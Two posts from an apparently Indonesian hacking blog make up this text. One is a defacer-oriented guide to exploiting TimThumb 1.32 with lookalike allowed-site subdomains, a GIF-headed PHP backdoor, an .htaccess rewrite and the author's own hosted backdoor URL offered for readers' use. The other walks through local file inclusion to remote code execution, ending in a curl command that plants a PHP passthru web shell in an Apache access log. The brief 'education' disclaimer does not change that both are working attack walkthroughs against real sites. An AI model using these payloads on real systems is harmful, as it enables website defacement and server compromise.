Kamis, 02 Agustus 2018

Exploit Timthumb 1.32 dan Membuat Payload Backdoor Untuk Timthumb


Hallo all, kali ini saya akan membahas tentang exploit yang sudah terbilang lama, tetapi masih sering dipakai oleh defacer-defacer sekarang ini. Exploit yang akan kita bahas yaitu tentang Exploit Timthumb.

Banyak yang bilang exploit Timthumb ini menggunkan teknik Remote Code Execution, tapi menurut yang saya setelah membaca dari beberapa sumber terpercaya, Teknik exploit Timthumb ini lebih mirip disebut Remote File Inclusion karena kita menggunakan Payload Backdoor dari Instance lain.

Sebelum kita melakukan Exploit, lebih baik kita bahas dulu cara membuat Payload Backdoor Timthumb tersebut untuk melakukan Exploitasi.


  • Cara Membuat Payload Backdoor Untuk Timthumb

1. Create Subdomain dan Hosting yang termasuk Allowed

$allowedSites = array (
    'flickr.com',
    'picasa.com',
    'blogger.com',
    'wordpress.com',
    'img.youtube.com',
    'upload.wikimedia.org',
);
Diatas adalah potongan source code yang saya ambil dari timthumb.php versi 1.32.
if (strpos (strtolower ($src), 'http://') !== false || strpos (strtolower ($src), 'https://') !== false)
if (strpos (strtolower ($url_info['host']), $site) !== false) 
Dari sini kita simpulkan bahwa timthumb bisa kita eksploitasi dengan menggunakan list array pada $allowedSites di atas.
Contoh:
  • flickr.com.cpanelmu.com
  • picasa.com.webkamu.com
  • Dan lain-lain yang terdapat pada $allowedSites
Intinya kamu bisa buat subdomain seperti di atas.

2. Membuat shell ekstensi .txt dan tambahkan header "gif".

GIF89a;
Header gif ini berfungsi supaya executor dalam timthumb tersebut membaca bahwa Payload Backdoor yang kamu buat adalah sebuah gambar gif.

Langsung ke intinya saja ya, kalian buat file backdoor tapi ekstensi .txt kemudian pada line paling atas tambahkan header gif tersebut.
Filename: shell.txt
GIF89a;
<?php
    # shellnya
?>

3. Buat .htaccess Rewrite

Buat file .htaccess
RewriteEngine on
RewriteRule ^shell\.php$ /shell.txt [L]
Fungsinya adalah memanggil configurasi webserver supaya dapat me Rewrite/Rename file .txt tersebut menjadi format .php.

Sekiranya dalam Root Directory Web untuk Payload Backdoor kalian:

Jika sudah berhasil kalian dapat membukanya
Contoh: http://flickr.com.webkalian.com/shell.php
Output hanya source code mentah dari php.

Atau seperti gambar dibawah ini:
Jika sudah tandanya kalian berhasil membuat Payload Backdoor tersebut.

Note: Jika kalian tidak punya domain dan hosting yang dapat create subdomain, untuk sementara kalian bisa pakai saya http://flickr.com.ehpet.net/uploader.php

  • Timthumb Exploitation

OK! untuk exploit disini saya akan samarkan nama target web tersebut.
Target tersebut menggunkan CMS Wordpress dengan Themes newspro dan memiliki timthumb versi 1.25 (karena yang dapat dieksploitasi itu hanya timthumb <= 1.32/1.32 ke bawah).

Lalu saya coba eksploitasi dengan menggunakan Payload Backdoor yang saya miliki yaitu http://flickr.com.ehpet.net/uploader.php.

Kemudian cara eksploiatsi dengan cara menambahkan ?src=URL_Backdoor pada timthumb.php seperti di bawah ini:

Tara! Jika output mengeluarkan file (yang saya drag warna hijau) seperti di atas, artinya target tersebut berhasil dieksploitasi!


Sekian dari saya,
Jika ada sesuatu hal yang kurang jelas, bisa kita diskusikan dalam group:
Telegram: https://t.me/joinchat/HUH7cBCF93c9eyVCIDP4VQ
Facebook: https://www.facebook.com/groups/1705027012853306/
Terima kasih.
Share:
Read More

Minggu, 13 Mei 2018

LFI to RCE - Inject PHP Code ke dalam Access Log


OK, diartikel pertama blog ZeroByte Core ini, kita akan membahas celah yang cukup berbahaya yaitu LFI.

Cerita sedikit, artikel ini adalah penjelasan dari artikel yang sebelumnya diterbitkan pada website medium.com yang ditulis oleh salah satu hacktivism yang saya kenal di Surabaya Hacker Link, yaitu mas Pacenoge (https://medium.com/@p4c3n0g3/lfi-to-rce-via-access-log-injection-88684351e7c0).

Apa itu LFI?

LFI (Local File Inclusion) adalah sebuah vulnerability (celah) yang biasanya terdapat pada Web Application, celah tersebut dimana sang Attacker dapat mengakses seluruh readable file (file yang dapat dibaca oleh semua user biasa atau non-root) hanya melalui input pada aplikasi tersebut (contohnya: Request GET pada sebuah URL).


  • Apakah hanya mengakses saja?
  • Bisakah kita eksekusi sampai kita dapat mengupload sebuah backdoor?

Jawabannya: Bisa!

Kita akan melakukan Injeksi terhadap access log yang digunakan pada web server tersebut tujuannya supaya kita dapat mengeksekusi celah tersebut melewati celah RCE (Remote Code Execution) yang kita buat.

Access Log pada web server itu sendiri adalah sebuah pencatatan (Log) dari seluruh request yang mengakses web server tersebut.

Ok, kita mulai.

Disini saya memiliki sample aplikasi yang terdapat celah LFI.


Contoh URL: http://target.com/index.php?page=main.php

Bagaimana cara memeriksa bahwa URL tersebut rentan terhadap LFI. Kalian dapat mengutak-atik GET pada URL tersebut (contoh: http://target.com/index.php?page=main'.php) bilamana terdapat error, maka dapat dipastikan Web tersebut rentan terhadap LFI.


Atau kalian bisa langsung memeriksa apakah lewat URL tersebut dapat mengambil file configuration pada OS seperti /etc/passwd (contoh: http://target.com/index.php?page=../../../../etc/passwd) bilamana web tersebut menampilkan configuration file, maka dapat dipastikan web tersebut juga rentan terhadap LFI.



LFI to RCE via Access Log

Pertama-tama hal yang harus dilakukan adalah Recon atau mencari dimana file access log tersebut disimpan, dengan cara melihat konfigurasi web server tersebut.

Disini saya ambil contoh target saya menggunakan Apache2 dimana konfigurasi penempatan directory log-nya terdapat di /etc/apache2/envvars. (contoh: http://target.com/index.php?page=../../../../etc/apache2/envvars)


Disini saya mendapatkan informasi bahwa APACHE_LOG_DIR=/var/log/apache2 yang menandakan bahwa log directory apache2 pada target saya terdapat di /var/log/apache2 kemudian saya mencoba membuka /var/log/apache2/access.log.


Ternyata benar bahwasanya access log target saya terdapat di "/var/log/apache2/access.log".
Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log

Setelah itu kita lakukan eksploitasi dengan cara mengirimkan request berupa PHP Code yang berisi funtion berbahaya untuk melakukan RCE.
Disini saya menggunakan cURL untuk menginjeksi PHP Code tersebut kedalam access log.
curl -s -X GET "http://target.com/evil<pre><?php passthru(\$_GET\['cmd'\]);?></pre>";
LFI to RCE via Access Log

Setelah di-injeksi menggunakan payload curl tersebut, kita akses kembali access log-nya sekaligus menggunakan payload shell, disini saya mencoba menjalankan command id.

Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id

LFI to RCE, Upload Shell LFI

Alhasil command id tersebut berhasil dieksekusi, dan sisanya kalian bisa mainkan dengan command-command shell.

Sekian dari artikel terkait "LFI to RCE - Inject PHP Code to Access Log" semoga menambah wawasan kalian untuk melakukan aktifitas hacking. Tujuan artikel ini ditulis karena kami ingin mengedukasi, bilamana terdapat pertanyaan yang sifatnya merusak milik orang lain tidak akan kami jawab, Terima kasih.
Share:
Read More